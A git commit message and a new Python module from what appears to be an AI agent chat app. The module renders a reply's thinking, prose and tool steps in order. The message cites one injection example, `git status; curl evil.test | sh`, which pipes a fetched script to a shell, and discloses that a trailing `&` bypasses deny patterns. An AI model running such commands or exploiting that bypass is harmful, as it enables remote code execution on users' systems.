A reply you can read while it is still being written

Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
Jaroslav Beneš
2026-08-04 19:02:07 +02:00
parent c0d6056ec4
commit 7df68eb44c
45 changed files with 2777 additions and 273 deletions
+205
View File
@@ -0,0 +1,205 @@
"""A reply as the sequence of steps it actually was.
The three stores a reply writes into -- text, reasoning and tool events -- are
each append-only and each correct. What none of them records is *interleaving*:
where round three's thinking sat relative to round three's command and to the
sentence that came after it. So a bubble was rendered as three zones, all the
thinking, then all the tools, then all the prose, which reads fine on a two-round
answer and is unusable on a forty-round one.
The fix is a table of contents rather than a fourth copy of anything. A **mark**
is written when a round's contribution ends, holding the cumulative length of
each store at that moment; the text between two marks is one step's prose, and so
on. Nothing is duplicated, so `build_messages`, compaction, titling and the copy
button all still see `message.content` as the single string it always was.
**No marks means the old layout.** Every reply written before this existed reads
back an empty list, and `_build` answers that with thinking, then tools, then
text -- exactly what those bubbles have always shown. There is no version flag
and no branch in the template.
"""
from __future__ import annotations
from dataclasses import dataclass, field
from typing import Any
from lembas.services.markdown import open_fence, render_markdown
KIND_THINKING = "thinking"
KIND_TEXT = "text"
KIND_TOOLS = "tools"
@dataclass(frozen=True)
class Step:
"""One thing that happened, in the order it happened.
`index` is the position of the mark this came from, and the trailing step --
the one still being written -- takes the index one past the last mark. It is
what every DOM id in the transcript is derived from, which is what lets an
open block survive both a stream frame and the `done` frame that replaces the
whole bubble: the marks are append-only, so index N always means the same
step, live and afterwards alike.
"""
index: int
kind: str
open: bool = False
text: str = ""
html: str = ""
events: tuple[dict, ...] = field(default_factory=tuple)
def for_message(message: Any) -> list[Step]:
"""Every step of a finished reply, read off the row.
A Jinja global (see `web/templating.py`) for the reason `tool_label` is: the
bubble is rendered from four different handlers, and a fifth thing each of
them had to remember to pass is a fifth thing one of them would forget.
"""
return _build(
text=message.content or "",
thinking=(message.reasoning or "") if not message.error else "",
events=list(message.tool_calls_json or []),
marks=list(getattr(message, "steps_json", None) or []),
)
def closed_from(generation: Any, since: int) -> list[Step]:
"""The finished steps of a running reply, from mark `since` onwards.
Only the new ones, because `_follow` keeps what it has already rendered. A
closed step never changes again -- that is what closing one means -- so the
whole prefix does not have to be re-rendered twelve times a second, which is
what the tool block used to cost on a long reply.
"""
return _build(
text=generation.text,
thinking=generation.thinking,
events=list(generation.tool_events),
marks=list(generation.steps),
since=since,
include_open=False,
)
def tail(generation: Any) -> tuple[str, str]:
"""What is being written right now: `(thinking, text)` past the last mark.
The text carries a fence reopener where one is needed, so a code block
started before the last tool call goes on rendering as a code block instead
of the prose underneath it briefly becoming one.
"""
marks = list(generation.steps)
last = marks[-1] if marks else {}
thinking = generation.thinking[_at(last, "thinking_to") :]
text = generation.text[_at(last, "text_to") :]
carry = _carry_before(generation.text, marks)
return thinking, (f"{carry}\n{text}" if carry and text else text)
def _at(mark: dict, key: str) -> int:
value = mark.get(key, 0)
return value if isinstance(value, int) and value > 0 else 0
def _build(
*,
text: str,
thinking: str,
events: list[dict],
marks: list[dict],
since: int = 0,
include_open: bool = True,
) -> list[Step]:
"""The shared walk.
Every offset is clamped and nothing here raises. A `steps_json` that
disagrees with the three stores -- a row half-written when the process died,
a hand-edited one -- has to degrade to a slightly odd order, never to a
transcript that will not render at all.
"""
steps: list[Step] = []
if not marks:
# The compatibility layout, and the layout of any reply that called
# nothing: for that one the two orders are the same list, because there
# are no tool blocks to sit between the prose.
if thinking:
steps.append(Step(index=0, kind=KIND_THINKING, text=thinking))
if events:
steps.append(Step(index=0, kind=KIND_TOOLS, events=tuple(events)))
if text:
steps.append(
Step(index=0, kind=KIND_TEXT, open=include_open, html=render_markdown(text))
)
return steps
thought_from = 0
text_from = 0
tools_from = 0
carry = ""
for index, mark in enumerate(marks):
thought_to = min(max(_at(mark, "thinking_to"), thought_from), len(thinking))
text_to = min(max(_at(mark, "text_to"), text_from), len(text))
tools_to = min(max(_at(mark, "tools_to"), tools_from), len(events))
thought = thinking[thought_from:thought_to]
said = text[text_from:text_to]
ran = events[tools_from:tools_to]
# Computed for every step even when this one is not being returned:
# `closed_from` renders a suffix, and whether a fence is open depends on
# everything before it.
source = f"{carry}\n{said}" if carry and said else said
marker, info = open_fence(source)
if marker:
source = f"{source}\n{marker}"
if index >= since:
# Thinking, then prose, then tools -- the order a model emits them.
if thought:
steps.append(Step(index=index, kind=KIND_THINKING, text=thought))
if said:
steps.append(Step(index=index, kind=KIND_TEXT, html=render_markdown(source)))
if ran:
steps.append(Step(index=index, kind=KIND_TOOLS, events=tuple(ran)))
carry = f"{marker}{info}" if marker else ""
thought_from, text_from, tools_from = thought_to, text_to, tools_to
if not include_open:
return steps
# Everything past the last mark. Implicit rather than written, in both the
# live path and the stored one -- one rule instead of two that could drift.
index = len(marks)
if trailing_thought := thinking[thought_from:]:
steps.append(Step(index=index, kind=KIND_THINKING, text=trailing_thought))
if trailing_text := text[text_from:]:
source = f"{carry}\n{trailing_text}" if carry else trailing_text
steps.append(Step(index=index, kind=KIND_TEXT, open=True, html=render_markdown(source)))
if trailing_events := events[tools_from:]:
steps.append(Step(index=index, kind=KIND_TOOLS, events=tuple(trailing_events)))
return steps
def _carry_before(text: str, marks: list[dict]) -> str:
"""The fence still open when the last mark was written, if any."""
if not marks:
return ""
carry = ""
start = 0
for mark in marks:
end = min(max(_at(mark, "text_to"), start), len(text))
source = f"{carry}\n{text[start:end]}" if carry else text[start:end]
marker, info = open_fence(source)
carry = f"{marker}{info}" if marker else ""
start = end
return carry
__all__ = ["KIND_TEXT", "KIND_THINKING", "KIND_TOOLS", "Step", "closed_from", "for_message", "tail"]